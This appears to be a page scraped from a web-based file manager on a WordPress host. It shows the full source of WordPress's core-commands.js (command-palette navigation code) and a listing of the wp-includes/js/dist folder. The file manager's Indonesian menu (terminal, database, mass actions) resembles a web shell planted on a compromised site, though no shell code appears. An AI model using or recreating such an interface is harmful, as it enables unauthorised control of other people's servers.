WPZ

/ data / web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-includes / js / dist / [dxwrx-rx-r]
berkas terminal database massal sistem
/data/web/1/000/076/129/313906/htdocs/wp-includes/js/dist/core-commands.js (29.11 KB)
(function() {
var wp;
(wp ||= {}).coreCommands = (() => {
  var __create = Object.create;
  var __defProp = Object.defineProperty;
  var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
  var __getOwnPropNames = Object.getOwnPropertyNames;
  var __getProtoOf = Object.getPrototypeOf;
  var __hasOwnProp = Object.prototype.hasOwnProperty;
  var __commonJS = (cb, mod) => function __require() {
    return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
  };
  var __export = (target, all) => {
    for (var name in all)
      __defProp(target, name, { get: all[name], enumerable: true });
  };
  var __copyProps = (to, from, except, desc) => {
    if (from && typeof from === "object" || typeof from === "function") {
      for (let key of __getOwnPropNames(from))
        if (!__hasOwnProp.call(to, key) && key !== except)
          __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
    }
    return to;
  };
  var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
    // If the importer is in node compatibility mode or this is not an ESM
    // file that has been converted to a CommonJS file using a Babel-
    // compatible transform (i.e. "__esModule" has not been set), then set
    // "default" to the CommonJS "module.exports" for node compatibility.
    isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
    mod
  ));
  var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);

  // package-external:@wordpress/element
  var require_element = __commonJS({
    "package-external:@wordpress/element"(exports, module) {
      module.exports = window.wp.element;
    }
  });

  // package-external:@wordpress/router
  var require_router = __commonJS({
    "package-external:@wordpress/router"(exports, module) {
      module.exports = window.wp.router;
    }
  });

  // package-external:@wordpress/commands
  var require_commands = __commonJS({
    "package-external:@wordpress/commands"(exports, module) {
      module.exports = window.wp.commands;
    }
  });

  // package-external:@wordpress/i18n
  var require_i18n = __commonJS({
    "package-external:@wordpress/i18n"(exports, module) {
      module.exports = window.wp.i18n;
    }
  });

  // package-external:@wordpress/primitives
  var require_primitives = __commonJS({
    "package-external:@wordpress/primitives"(exports, module) {
      module.exports = window.wp.primitives;
    }
  });

  // vendor-external:react/jsx-runtime
  var require_jsx_runtime = __commonJS({
    "vendor-external:react/jsx-runtime"(exports, module) {
      module.exports = window.ReactJSXRuntime;
    }
  });

  // package-external:@wordpress/core-data
  var require_core_data = __commonJS({
    "package-external:@wordpress/core-data"(exports, module) {
      module.exports = window.wp.coreData;
    }
  });

  // package-external:@wordpress/data
  var require_data = __commonJS({
    "package-external:@wordpress/data"(exports, module) {
      module.exports = window.wp.data;
    }
  });

  // package-external:@wordpress/url
  var require_url = __commonJS({
    "package-external:@wordpress/url"(exports, module) {
      module.exports = window.wp.url;
    }
  });

  // package-external:@wordpress/compose
  var require_compose = __commonJS({
    "package-external:@wordpress/compose"(exports, module) {
      module.exports = window.wp.compose;
    }
  });

  // package-external:@wordpress/html-entities
  var require_html_entities = __commonJS({
    "package-external:@wordpress/html-entities"(exports, module) {
      module.exports = window.wp.htmlEntities;
    }
  });

  // package-external:@wordpress/private-apis
  var require_private_apis = __commonJS({
    "package-external:@wordpress/private-apis"(exports, module) {
      module.exports = window.wp.privateApis;
    }
  });

  // packages/core-commands/build-module/index.mjs
  var index_exports = {};
  __export(index_exports, {
    initializeCommandPalette: () => initializeCommandPalette,
    privateApis: () => privateApis
  });
  var import_element3 = __toESM(require_element(), 1);
  var import_router2 = __toESM(require_router(), 1);
  var import_commands3 = __toESM(require_commands(), 1);

  // packages/core-commands/build-module/admin-navigation-commands.mjs
  var import_commands = __toESM(require_commands(), 1);
  var import_i18n = __toESM(require_i18n(), 1);

  // packages/icons/build-module/library/brush.mjs
  var import_primitives = __toESM(require_primitives(), 1);
  var import_jsx_runtime = __toESM(require_jsx_runtime(), 1);
  var brush_default = /* @__PURE__ */ (0, import_jsx_runtime.jsx)(import_primitives.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", fill: "currentColor", children: /* @__PURE__ */ (0, import_jsx_runtime.jsx)(import_primitives.Path, { d: "M4 20h8v-1.5H4V20zM18.9 3.5c-.6-.6-1.5-.6-2.1 0l-7.2 7.2c-.4-.1-.7 0-1.1.1-.5.2-1.5.7-1.9 2.2-.4 1.7-.8 2.2-1.1 2.7-.1.1-.2.3-.3.4l-.6 1.1H6c2 0 3.4-.4 4.7-1.4.8-.6 1.2-1.4 1.3-2.3 0-.3 0-.5-.1-.7L19 5.7c.5-.6.5-1.6-.1-2.2zM9.7 14.7c-.7.5-1.5.8-2.4 1 .2-.5.5-1.2.8-2.3.2-.6.4-1 .8-1.1.5-.1 1 .1 1.3.3.2.2.3.5.2.8 0 .3-.1.9-.7 1.3z" }) });

  // packages/icons/build-module/library/external.mjs
  var import_primitives2 = __toESM(require_primitives(), 1);
  var import_jsx_runtime2 = __toESM(require_jsx_runtime(), 1);
  var external_default = /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_primitives2.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", fill: "currentColor", children: /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_primitives2.Path, { d: "M19.5 4.5h-7V6h4.44l-5.97 5.97 1.06 1.06L18 7.06v4.44h1.5v-7Zm-13 1a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-3H17v3a.5.5 0 0 1-.5.5h-10a.5.5 0 0 1-.5-.5v-10a.5.5 0 0 1 .5-.5h3V5.5h-3Z" }) });

  // packages/icons/build-module/library/layout.mjs
  var import_primitives3 = __toESM(require_primitives(), 1);
  var import_jsx_runtime3 = __toESM(require_jsx_runtime(), 1);
  var layout_default = /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_primitives3.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", fill: "currentColor", children: /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_primitives3.Path, { d: "M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z" }) });

  // packages/icons/build-module/library/navigation.mjs
  var import_primitives4 = __toESM(require_primitives(), 1);
  var import_jsx_runtime4 = __toESM(require_jsx_runtime(), 1);
  var navigation_default = /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_primitives4.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", fill: "currentColor", children: /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_primitives4.Path, { d: "M12 4c-4.4 0-8 3.6-8 8s3.6 8 8 8 8-3.6 8-8-3.6-8-8-8zm0 14.5c-3.6 0-6.5-2.9-6.5-6.5S8.4 5.5 12 5.5s6.5 2.9 6.5 6.5-2.9 6.5-6.5 6.5zM9 16l4.5-3L15 8.4l-4.5 3L9 16z" }) });

  // packages/icons/build-module/library/page.mjs
  var import_primitives5 = __toESM(require_primitives(), 1);
  var import_jsx_runtime5 = __toESM(require_jsx_runtime(), 1);
  var page_default = /* @__PURE__ */ (0, import_jsx_runtime5.jsxs)(import_primitives5.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", fill: "currentColor", children: [
    /* @__PURE__ */ (0, import_jsx_runtime5.jsx)(import_primitives5.Path, { d: "M15.5 7.5h-7V9h7V7.5Zm-7 3.5h7v1.5h-7V11Zm7 3.5h-7V16h7v-1.5Z" }),
    /* @__PURE__ */ (0, import_jsx_runtime5.jsx)(import_primitives5.Path, { d: "M17 4H7a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2ZM7 5.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H7a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5Z" })
  ] });

  // packages/icons/build-module/library/post.mjs
  var import_primitives6 = __toESM(require_primitives(), 1);
  var import_jsx_runtime6 = __toESM(require_jsx_runtime(), 1);
  var post_default = /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_primitives6.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", fill: "currentColor", children: /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_primitives6.Path, { d: "m7.3 9.7 1.4 1.4c.2-.2.3-.3.4-.5 0 0 0-.1.1-.1.3-.5.4-1.1.3-1.6L12 7 9 4 7.2 6.5c-.6-.1-1.1 0-1.6.3 0 0-.1 0-.1.1-.3.1-.4.2-.6.4l1.4 1.4L4 11v1h1l2.3-2.3zM4 20h9v-1.5H4V20zm0-5.5V16h16v-1.5H4z" }) });

  // packages/icons/build-module/library/styles.mjs
  var import_primitives7 = __toESM(require_primitives(), 1);
  var import_jsx_runtime7 = __toESM(require_jsx_runtime(), 1);
  var styles_default = /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_primitives7.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", fill: "currentColor", children: /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_primitives7.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M20 12a8 8 0 1 1-16 0 8 8 0 0 1 16 0Zm-1.5 0a6.5 6.5 0 0 1-6.5 6.5v-13a6.5 6.5 0 0 1 6.5 6.5Z" }) });

  // packages/icons/build-module/library/symbol-filled.mjs
  var import_primitives8 = __toESM(require_primitives(), 1);
  var import_jsx_runtime8 = __toESM(require_jsx_runtime(), 1);
  var symbol_filled_default = /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_primitives8.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", fill: "currentColor", children: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_primitives8.Path, { d: "M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-17.6 1L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z" }) });

  // packages/icons/build-module/library/symbol.mjs
  var import_primitives9 = __toESM(require_primitives(), 1);
  var import_jsx_runtime9 = __toESM(require_jsx_runtime(), 1);
  var symbol_default = /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_primitives9.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", fill: "currentColor", children: /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_primitives9.Path, { d: "M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z" }) });

  // packages/core-commands/build-module/admin-navigation-commands.mjs
  var import_element = __toESM(require_element(), 1);
  var import_core_data = __toESM(require_core_data(), 1);
  var import_data = __toESM(require_data(), 1);
  var getViewSiteCommand = () => function useViewSiteCommand() {
    const homeUrl = (0, import_data.useSelect)((select) => {
      return select(import_core_data.store).getEntityRecord(
        "root",
        "__unstableBase"
      )?.home;
    }, []);
    const commands = (0, import_element.useMemo)(() => {
      if (!homeUrl) {
        return [];
      }
      return [
        {
          name: "core/view-site",
          label: (0, import_i18n.__)("View site"),
          icon: external_default,
          category: "view",
          callback: ({ close }) => {
            close();
            window.open(homeUrl, "_blank");
          }
        }
      ];
    }, [homeUrl]);
    return {
      isLoading: false,
      commands
    };
  };
  function useAdminNavigationCommands(menuCommands) {
    const commands = (0, import_element.useMemo)(() => {
      return (menuCommands ?? []).map((menuCommand) => {
        const label = (0, import_i18n.sprintf)(
          /* translators: %s: menu label */
          (0, import_i18n.__)("Go to: %s"),
          menuCommand.label
        );
        return {
          name: menuCommand.name,
          label,
          searchLabel: label,
          category: "view",
          callback: ({ close }) => {
            document.location = menuCommand.url;
            close();
          }
        };
      });
    }, [menuCommands]);
    (0, import_commands.useCommands)(commands);
    (0, import_commands.useCommandLoader)({
      name: "core/view-site",
      hook: getViewSiteCommand()
    });
  }

  // packages/core-commands/build-module/site-editor-navigation-commands.mjs
  var import_commands2 = __toESM(require_commands(), 1);
  var import_i18n2 = __toESM(require_i18n(), 1);
  var import_element2 = __toESM(require_element(), 1);
  var import_data2 = __toESM(require_data(), 1);
  var import_core_data2 = __toESM(require_core_data(), 1);
  var import_router = __toESM(require_router(), 1);
  var import_url = __toESM(require_url(), 1);
  var import_compose = __toESM(require_compose(), 1);
  var import_html_entities = __toESM(require_html_entities(), 1);

  // packages/core-commands/build-module/lock-unlock.mjs
  var import_private_apis = __toESM(require_private_apis(), 1);
  var { lock, unlock } = (0, import_private_apis.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(
    "I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.",
    "@wordpress/core-commands"
  );

  // packages/core-commands/build-module/utils/order-entity-records-by-search.mjs
  function orderEntityRecordsBySearch(records = [], search = "") {
    if (!Array.isArray(records) || !records.length) {
      return [];
    }
    if (!search) {
      return records;
    }
    const priority = [];
    const nonPriority = [];
    for (let i = 0; i < records.length; i++) {
      const record = records[i];
      if (record?.title?.raw?.toLowerCase()?.includes(search?.toLowerCase())) {
        priority.push(record);
      } else {
        nonPriority.push(record);
      }
    }
    return priority.concat(nonPriority);
  }

  // packages/core-commands/build-module/site-editor-navigation-commands.mjs
  var { useHistory } = unlock(import_router.privateApis);
  var icons = {
    post: post_default,
    page: page_default,
    wp_template: layout_default,
    wp_template_part: symbol_filled_default
  };
  function useDebouncedValue(value) {
    const [debouncedValue, setDebouncedValue] = (0, import_element2.useState)("");
    const debounced = (0, import_compose.useDebounce)(setDebouncedValue, 250);
    (0, import_element2.useEffect)(() => {
      debounced(value);
      return () => debounced.cancel();
    }, [debounced, value]);
    return debouncedValue;
  }
  var ROUTE_MAPPING = {
    "/template": "/templates",
    "/pattern": "/patterns"
  };
  function getSiteEditorPage() {
    return window.__experimentalExtensibleSiteEditor ? "admin.php?page=site-editor-v2" : "site-editor.php";
  }
  function mapRoute(path) {
    if (!window.__experimentalExtensibleSiteEditor) {
      return path;
    }
    for (const [oldPath, newPath] of Object.entries(ROUTE_MAPPING)) {
      if (path === oldPath || path.startsWith(oldPath + "?")) {
        if (path.includes("postType=wp_template_part")) {
          return "/template-parts";
        }
        return path.replace(oldPath, newPath);
      }
    }
    return path;
  }
  function isInSiteEditor() {
    const path = (0, import_url.getPath)(window.location.href);
    return path?.includes("site-editor.php") || path?.includes("page=site-editor-v2");
  }
  var getNavigationCommandLoaderPerPostType = (postType) => function useNavigationCommandLoader({ search }) {
    const history = useHistory();
    const { isBlockBasedTheme, canCreateTemplate } = (0, import_data2.useSelect)(
      (select) => {
        return {
          isBlockBasedTheme: select(import_core_data2.store).getCurrentTheme()?.is_block_theme,
          canCreateTemplate: select(import_core_data2.store).canUser("create", {
            kind: "postType",
            name: "wp_template"
          })
        };
      },
      []
    );
    const delayedSearch = useDebouncedValue(search);
    const { records, isLoading } = (0, import_data2.useSelect)(
      (select) => {
        if (!delayedSearch) {
          return {
            isLoading: false
          };
        }
        const query = {
          search: delayedSearch,
          per_page: 10,
          orderby: "relevance",
          status: [
            "publish",
            "future",
            "draft",
            "pending",
            "private"
          ]
        };
        return {
          records: select(import_core_data2.store).getEntityRecords(
            "postType",
            postType,
            query
          ),
          isLoading: !select(import_core_data2.store).hasFinishedResolution(
            "getEntityRecords",
            ["postType", postType, query]
          )
        };
      },
      [delayedSearch]
    );
    const commands = (0, import_element2.useMemo)(() => {
      return (records ?? []).map((record) => {
        const command = {
          name: postType + "-" + record.id,
          searchLabel: record.title?.rendered + " " + record.id,
          label: record.title?.rendered ? (0, import_html_entities.decodeEntities)(record.title?.rendered) : (0, import_i18n2.__)("(no title)"),
          icon: icons[postType],
          category: "edit"
        };
        if (!canCreateTemplate || postType === "post" || postType === "page" && !isBlockBasedTheme) {
          return {
            ...command,
            callback: ({ close }) => {
              const args = {
                post: record.id,
                action: "edit"
              };
              const targetUrl = (0, import_url.addQueryArgs)("post.php", args);
              document.location = targetUrl;
              close();
            }
          };
        }
        const isSiteEditor = isInSiteEditor();
        return {
          ...command,
          callback: ({ close }) => {
            if (isSiteEditor) {
              history.navigate(
                `/${postType}/${record.id}?canvas=edit`
              );
            } else {
              document.location = (0, import_url.addQueryArgs)(
                getSiteEditorPage(),
                {
                  p: `/${postType}/${record.id}`,
                  canvas: "edit"
                }
              );
            }
            close();
          }
        };
      });
    }, [canCreateTemplate, records, isBlockBasedTheme, history]);
    return {
      commands,
      isLoading
    };
  };
  var getNavigationCommandLoaderPerTemplate = (templateType) => function useNavigationCommandLoader({ search }) {
    const history = useHistory();
    const { isBlockBasedTheme, canCreateTemplate } = (0, import_data2.useSelect)(
      (select) => {
        return {
          isBlockBasedTheme: select(import_core_data2.store).getCurrentTheme()?.is_block_theme,
          canCreateTemplate: select(import_core_data2.store).canUser("create", {
            kind: "postType",
            name: templateType
          })
        };
      },
      []
    );
    const { records, isLoading } = (0, import_data2.useSelect)((select) => {
      const { getEntityRecords } = select(import_core_data2.store);
      const query = { per_page: -1 };
      return {
        records: getEntityRecords("postType", templateType, query),
        isLoading: !select(import_core_data2.store).hasFinishedResolution(
          "getEntityRecords",
          ["postType", templateType, query]
        )
      };
    }, []);
    const orderedRecords = (0, import_element2.useMemo)(() => {
      return orderEntityRecordsBySearch(records, search).slice(0, 10);
    }, [records, search]);
    const commands = (0, import_element2.useMemo)(() => {
      if (!canCreateTemplate || !isBlockBasedTheme && !templateType === "wp_template_part") {
        return [];
      }
      const isSiteEditor = (0, import_url.getPath)(window.location.href)?.includes(
        "site-editor.php"
      );
      const result = [];
      result.push(
        ...orderedRecords.map((record) => {
          return {
            name: templateType + "-" + record.id,
            searchLabel: record.title?.rendered + " " + record.id,
            label: record.title?.rendered ? record.title?.rendered : (0, import_i18n2.__)("(no title)"),
            icon: icons[templateType],
            category: "edit",
            callback: ({ close }) => {
              if (isSiteEditor) {
                history.navigate(
                  `/${templateType}/${record.id}?canvas=edit`
                );
              } else {
                document.location = (0, import_url.addQueryArgs)(
                  getSiteEditorPage(),
                  {
                    p: `/${templateType}/${record.id}`,
                    canvas: "edit"
                  }
                );
              }
              close();
            }
          };
        })
      );
      if (orderedRecords?.length > 0 && templateType === "wp_template_part") {
        result.push({
          name: "core/edit-site/open-template-parts",
          label: (0, import_i18n2.__)("Go to: Template parts"),
          icon: symbol_filled_default,
          category: "view",
          callback: ({ close }) => {
            if (isSiteEditor) {
              history.navigate(
                mapRoute(
                  "/pattern?postType=wp_template_part&categoryId=all-parts"
                )
              );
            } else {
              document.location = (0, import_url.addQueryArgs)(
                getSiteEditorPage(),
                {
                  p: mapRoute("/pattern"),
                  postType: "wp_template_part",
                  categoryId: "all-parts"
                }
              );
            }
            close();
          }
        });
      }
      return result;
    }, [canCreateTemplate, isBlockBasedTheme, orderedRecords, history]);
    return {
      commands,
      isLoading
    };
  };
  var getSiteEditorBasicNavigationCommands = () => function useSiteEditorBasicNavigationCommands() {
    const history = useHistory();
    const isSiteEditor = isInSiteEditor();
    const { isBlockBasedTheme, canCreateTemplate, canCreatePatterns } = (0, import_data2.useSelect)((select) => {
      return {
        isBlockBasedTheme: select(import_core_data2.store).getCurrentTheme()?.is_block_theme,
        canCreateTemplate: select(import_core_data2.store).canUser("create", {
          kind: "postType",
          name: "wp_template"
        }),
        canCreatePatterns: select(import_core_data2.store).canUser("create", {
          kind: "postType",
          name: "wp_block"
        })
      };
    }, []);
    const commands = (0, import_element2.useMemo)(() => {
      const result = [];
      if (canCreateTemplate && isBlockBasedTheme) {
        result.push({
          name: "core/edit-site/open-styles",
          label: (0, import_i18n2.__)("Go to: Styles"),
          icon: styles_default,
          category: "view",
          callback: ({ close }) => {
            if (isSiteEditor) {
              history.navigate("/styles");
            } else {
              document.location = (0, import_url.addQueryArgs)(
                getSiteEditorPage(),
                {
                  p: "/styles"
                }
              );
            }
            close();
          }
        });
        result.push({
          name: "core/edit-site/open-navigation",
          label: (0, import_i18n2.__)("Go to: Navigation"),
          icon: navigation_default,
          category: "view",
          callback: ({ close }) => {
            if (isSiteEditor) {
              history.navigate("/navigation");
            } else {
              document.location = (0, import_url.addQueryArgs)(
                getSiteEditorPage(),
                {
                  p: "/navigation"
                }
              );
            }
            close();
          }
        });
        result.push({
          name: "core/edit-site/open-templates",
          label: (0, import_i18n2.__)("Go to: Templates"),
          icon: layout_default,
          category: "view",
          callback: ({ close }) => {
            if (isSiteEditor) {
              history.navigate(mapRoute("/template"));
            } else {
              document.location = (0, import_url.addQueryArgs)(
                getSiteEditorPage(),
                {
                  p: mapRoute("/template")
                }
              );
            }
            close();
          }
        });
      }
      if (canCreatePatterns) {
        result.push({
          name: "core/edit-site/open-patterns",
          label: (0, import_i18n2.__)("Go to: Patterns"),
          icon: symbol_default,
          category: "view",
          callback: ({ close }) => {
            if (canCreateTemplate) {
              if (isSiteEditor) {
                history.navigate(mapRoute("/pattern"));
              } else {
                document.location = (0, import_url.addQueryArgs)(
                  getSiteEditorPage(),
                  {
                    p: mapRoute("/pattern")
                  }
                );
              }
              close();
            } else {
              document.location.href = "edit.php?post_type=wp_block";
            }
          }
        });
      }
      return result;
    }, [
      history,
      isSiteEditor,
      canCreateTemplate,
      canCreatePatterns,
      isBlockBasedTheme
    ]);
    return {
      commands,
      isLoading: false
    };
  };
  var getGlobalStylesOpenCssCommands = () => function useGlobalStylesOpenCssCommands() {
    const history = useHistory();
    const isSiteEditor = isInSiteEditor();
    const { canEditCSS, isBlockBasedTheme } = (0, import_data2.useSelect)((select) => {
      const {
        getEntityRecord,
        __experimentalGetCurrentGlobalStylesId,
        getCurrentTheme
      } = select(import_core_data2.store);
      const globalStylesId = __experimentalGetCurrentGlobalStylesId();
      const globalStyles = globalStylesId ? getEntityRecord("root", "globalStyles", globalStylesId) : void 0;
      return {
        canEditCSS: !!globalStyles?._links?.["wp:action-edit-css"],
        isBlockBasedTheme: getCurrentTheme()?.is_block_theme
      };
    }, []);
    const commands = (0, import_element2.useMemo)(() => {
      if (!canEditCSS || !isBlockBasedTheme) {
        return [];
      }
      return [
        {
          name: "core/open-styles-css",
          label: (0, import_i18n2.__)("Open custom CSS"),
          icon: brush_default,
          category: "view",
          callback: ({ close }) => {
            close();
            if (isSiteEditor) {
              history.navigate("/styles?section=/css");
            } else {
              document.location = (0, import_url.addQueryArgs)(
                getSiteEditorPage(),
                {
                  p: "/styles",
                  section: "/css"
                }
              );
            }
          }
        }
      ];
    }, [history, canEditCSS, isSiteEditor, isBlockBasedTheme]);
    return {
      isLoading: false,
      commands
    };
  };
  function useSiteEditorNavigationCommands(isNetworkAdmin) {
    (0, import_commands2.useCommandLoader)({
      name: "core/edit-site/navigate-pages",
      hook: getNavigationCommandLoaderPerPostType("page"),
      disabled: isNetworkAdmin
    });
    (0, import_commands2.useCommandLoader)({
      name: "core/edit-site/navigate-posts",
      hook: getNavigationCommandLoaderPerPostType("post"),
      disabled: isNetworkAdmin
    });
    (0, import_commands2.useCommandLoader)({
      name: "core/edit-site/navigate-templates",
      hook: getNavigationCommandLoaderPerTemplate("wp_template"),
      disabled: isNetworkAdmin
    });
    (0, import_commands2.useCommandLoader)({
      name: "core/edit-site/navigate-template-parts",
      hook: getNavigationCommandLoaderPerTemplate("wp_template_part"),
      disabled: isNetworkAdmin
    });
    (0, import_commands2.useCommandLoader)({
      name: "core/edit-site/basic-navigation",
      hook: getSiteEditorBasicNavigationCommands(),
      context: "site-editor",
      disabled: isNetworkAdmin
    });
    (0, import_commands2.useCommandLoader)({
      name: "core/edit-site/global-styles-css",
      hook: getGlobalStylesOpenCssCommands(),
      disabled: isNetworkAdmin
    });
  }

  // packages/core-commands/build-module/private-apis.mjs
  function useCommands2() {
    useAdminNavigationCommands();
    useSiteEditorNavigationCommands();
  }
  var privateApis = {};
  lock(privateApis, {
    useCommands: useCommands2
  });

  // packages/core-commands/build-module/index.mjs
  var import_jsx_runtime10 = __toESM(require_jsx_runtime(), 1);
  var { RouterProvider } = unlock(import_router2.privateApis);
  function CommandPalette({ settings }) {
    const { menu_commands: menuCommands, is_network_admin: isNetworkAdmin } = settings;
    useAdminNavigationCommands(menuCommands);
    useSiteEditorNavigationCommands(isNetworkAdmin);
    return /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(RouterProvider, { pathArg: "p", children: /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_commands3.CommandMenu, {}) });
  }
  function initializeCommandPalette(settings) {
    const root = document.createElement("div");
    document.body.appendChild(root);
    (0, import_element3.createRoot)(root).render(
      /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_element3.StrictMode, { children: /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(CommandPalette, { settings }) })
    );
  }
  return __toCommonJS(index_exports);
})();
(window.wp ||= {}).coreCommands = wp.coreCommands;
})();
namawaktuukuranownerpermaksi
..
development/ 2026-02-23 19:4187.9 KB 76129f60960:kundendxwrx-rx-r
script-modules/ 2026-08-20 11:4617.7 MB 76129f60960:kundendxwrx-rx-r
vendor/ 2026-08-20 11:462.54 MB 76129f60960:kundendxwrx-rx-r
a11y.js 2026-08-20 11:465.56 KB 76129f60960:kunden-xw-x--x--
edt
a11y.min.js 2026-08-20 11:462.55 KB 76129f60960:kunden-xw-x--x--
edt
annotations.js 2026-08-20 11:4615.58 KB 76129f60960:kunden-xw-x--x--
edt
annotations.min.js 2026-08-20 11:465.84 KB 76129f60960:kunden-xw-x--x--
edt
api-fetch.js 2026-08-20 11:4619.53 KB 76129f60960:kunden-xw-x--x--
edt
api-fetch.min.js 2026-08-20 11:467.33 KB 76129f60960:kunden-xw-x--x--
edt
autop.js 2026-08-20 11:469.78 KB 76129f60960:kunden-xw-x--x--
edt
autop.min.js 2026-08-20 11:465.56 KB 76129f60960:kunden-xw-x--x--
edt
base-styles.js 2026-08-20 11:46115 B 76129f60960:kunden-xw-x--x--
edt
base-styles.min.js 2026-08-20 11:46142 B 76129f60960:kunden-xw-x--x--
edt
blob.js 2026-08-20 11:462.35 KB 76129f60960:kunden-xw-x--x--
edt
blob.min.js 2026-08-20 11:461.21 KB 76129f60960:kunden-xw-x--x--
edt
block-directory.js 2026-08-20 11:46372.69 KB 76129f60960:kunden-xw-x--x--
edt
block-directory.min.js 2026-08-20 11:46126.54 KB 76129f60960:kunden-xw-x--x--
edt
block-editor.js 2026-09-18 04:013.6 MB 76129f60960:kunden-xw-x--x--
edt
block-editor.min.js 2026-09-18 04:011.35 MB 76129f60960:kunden-xw-x--x--
edt
block-library.js 2026-11-19 00:382.89 MB 76129f60960:kunden-xw-x--x--
edt
block-library.min.js 2026-11-19 00:381.24 MB 76129f60960:kunden-xw-x--x--
edt
block-serialization-default-parser.js 2026-10-29 00:286.68 KB 76129f60960:kunden-xw-x--x--
edt
block-serialization-default-parser.min.js 2026-10-29 00:282.54 KB 76129f60960:kunden-xw-x--x--
edt
block-serialization-spec-parser.js 2026-10-29 00:2850.59 KB 76129f60960:kunden-xw-x--x--
edt
block-serialization-spec-parser.min.js 2026-10-29 00:2810.48 KB 76129f60960:kunden-xw-x--x--
edt
blocks.js 2026-08-20 11:46292.88 KB 76129f60960:kunden-xw-x--x--
edt
blocks.min.js 2026-08-20 11:46142.99 KB 76129f60960:kunden-xw-x--x--
edt
commands.js 2026-08-20 11:46128.65 KB 76129f60960:kunden-xw-x--x--
edt
commands.min.js 2026-08-20 11:4655.89 KB 76129f60960:kunden-xw-x--x--
edt
components.js 2026-08-20 11:463.64 MB 76129f60960:kunden-xw-x--x--
edt
components.min.js 2026-08-20 11:46817.08 KB 76129f60960:kunden-xw-x--x--
edt
compose.js 2026-08-20 11:4683.74 KB 76129f60960:kunden-xw-x--x--
edt
compose.min.js 2026-08-20 11:4629.39 KB 76129f60960:kunden-xw-x--x--
edt
core-commands.js 2026-08-20 11:4629.11 KB 76129f60960:kunden-xw-x--x--
edt
core-commands.min.js 2026-08-20 11:4612.2 KB 76129f60960:kunden-xw-x--x--
edt
core-data.js 2026-11-19 00:38661.31 KB 76129f60960:kunden-xw-x--x--
edt
core-data.min.js 2026-11-19 00:38227.04 KB 76129f60960:kunden-xw-x--x--
edt
customize-widgets.js 2026-08-20 11:46111.55 KB 76129f60960:kunden-xw-x--x--
edt
customize-widgets.min.js 2026-08-20 11:4643.42 KB 76129f60960:kunden-xw-x--x--
edt
data-controls.js 2026-08-20 11:464.2 KB 76129f60960:kunden-xw-x--x--
edt
data-controls.min.js 2026-08-20 11:461.84 KB 76129f60960:kunden-xw-x--x--
edt
data.js 2026-08-20 11:4683.69 KB 76129f60960:kunden-xw-x--x--
edt
